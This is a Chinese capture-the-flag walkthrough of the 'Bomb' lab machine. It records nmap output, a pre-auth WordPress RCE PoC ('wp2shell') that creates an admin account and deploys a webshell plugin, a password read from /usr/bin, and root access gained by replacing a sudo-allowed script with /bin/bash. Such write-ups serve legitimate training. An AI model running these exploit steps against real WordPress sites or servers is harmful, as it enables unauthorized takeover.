

# 群友靶机-Bomb

## 信息搜集

### 端口扫描

```
└─(root@kali)-[~]
└─# nmap 192.168.0.102 -p- -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-20 05:21 EDT
Nmap scan report for bogon (192.168.0.102)
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.67 ((Unix) PHP/8.1.34)
|_http-title: Bomb WordPress
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 7.1-beta1
|_http-server-header: Apache/2.4.67 (Unix) PHP/8.1.34
MAC Address: 08:00:27:52:15:D0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see
https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=7/20%OT=22%CT=1%CU=32742%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=6A5DE8A7%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I
OS:%TS=21)SEQ(SP=101%GCD=2%ISR=10F%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=105%GCD=1%IS
OS:R=10D%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=108%GCD=1%ISR=10C%TI=Z%CI=Z%TS=21)SEQ(
OS:SP=FF%GCD=1%ISR=10B%TI=Z%CI=Z%TS=21)OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3
OS:=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW
OS:9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   0.35 ms bogon (192.168.0.102)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.21 seconds
```

只开放了 22 (SSH) 和 80 (HTTP) 两个端口。

## Web 服务探测

nmap扫描的时候暴露出了wordpress的版本号

```
WordPress 7.1-beta1
```

正好符合这两天公开的wp2shell

## 初始访问 — wp2shell

### 漏洞背景

wp2shell 是 Searchlight Cyber 披露的 WordPress 预认证 RCE 漏洞链，核心是 REST batch endpoint (`/batch/v1`) 的路由混淆 (route confusion) 导致的 SQL 注入。

| 版本范围          | 状态   |
|---------------|------|
| <= 6.8.5      | 不受影响 |
| 6.9.0 – 6.9.4 | 受影响  |
| 7.0.0 – 7.0.1 | 受影响  |

wp2shell 公告: [Searchlight Cyber](#) | PoC: <https://github.com/lcex0/wp2shell-poc>

虽然靶机显示的是 7.1-beta1，但检查确认仍存在漏洞。

### 漏洞验证

```
(root@kali) - [~/wp2shell-poc-main]
└─# python3 wp2shell.py shell http://192.168.0.102 -i
[!] This uploads a plugin containing a webservice to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_731f2ac449ea
[*] Authenticating as 'wp2_731f2ac449ea'...
[+] Authenticated.
[*] Deploying webservice plugin...
[+] webservice: http://192.168.0.102/wp-content/plugins/wp2shell_4f41227d/wp2shell_4f41227d.php
[*] Interactive shell - type commands, 'exit' or Ctrl-D to quit.
/opt/wordpress/wp-content/plugins/wp2shell_4f41227d $ id
uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache)
```

拿到了apache(www-data)用户的shell

## apache → ll104567

### 信息搜集

以 apache 用户进行系统探测，在 `/usr/bin/` 下发现一个非标准文件：

```
Bomb:~$ find / -user 11104567 -type f 2>/dev/null  
/usr/bin/12138.txt
```

```
Bomb:~$ cat /usr/bin/12138.txt  
Fxa6DZEOnghp20V5aXRP
```

文件 `/usr/bin/12138.txt` 属于 11104567，内容为密码字符串。用它切换到 11104567：

```
Bomb:/tmp$ su 11104567  
Password:  
Bomb:~$ id  
uid=1000(11104567) gid=1000(11104567) groups=1000(11104567)
```

## 用户家目录

```
Bomb:~$ ls -la  
total 16  
drwx----- 2 11104567 11104567 4096 Jul 20 13:23 .  
drwxr-xr-x 3 root      root      4096 Jul 20 00:41 ..  
lrwxrwxrwx 1 root      root        9 Jul 20 09:35 .bash_history -> /dev/null  
lrwxrwxrwx 1 root      root        9 Jul 20 09:36 .viminfo -> /dev/null  
-rwxr-xr-x 1 root      root      2553 Jul 20 01:50 12138.sh  
-rw-r--r-- 1 root      root        44 Jul 20 01:40 user.txt
```

## 11104567 → Root

```
Bomb:~$ sudo -l  
Matching Defaults entries for 11104567 on Bomb:  
  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
Runas and Command-specific defaults for 11104567:  
  Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"  
  
User 11104567 may run the following commands on Bomb:  
  (ALL) NOPASSWD: /home/11104567/12138.sh
```

11104567 可以免密以 root 运行 `12138.sh`。该脚本属主是 root，但 **11104567 拥有家目录的写权限**——这是提权的关键。

虽然 `12138.sh` 被 root 所有且无法直接修改，但 11104567 拥有 `/home/11104567/` 目录，可以删除并替换该文件，直接王炸下手

```
Bomb:~$ rm /home/11104567/12138.sh  
Bomb:~$ echo "/bin/bash" > /home/11104567/12138.sh  
Bomb:~$ chmod +x /home/11104567/12138.sh  
Bomb:~$ sudo /home/11104567/12138.sh  
Bomb:/tmp# id  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)  
uid=0(root) gid=0(root) groups=0(root)
```

# Flag

---

```
Bomb:~# cat /root/root.txt /home/11104567/user.txt  
flag{root-8c7a3f1b9d4e2f6a0c5b8d3e1f7a4c9b}  
flag{user-bea7e45c177a6909a5a5c6138616b7e3}
```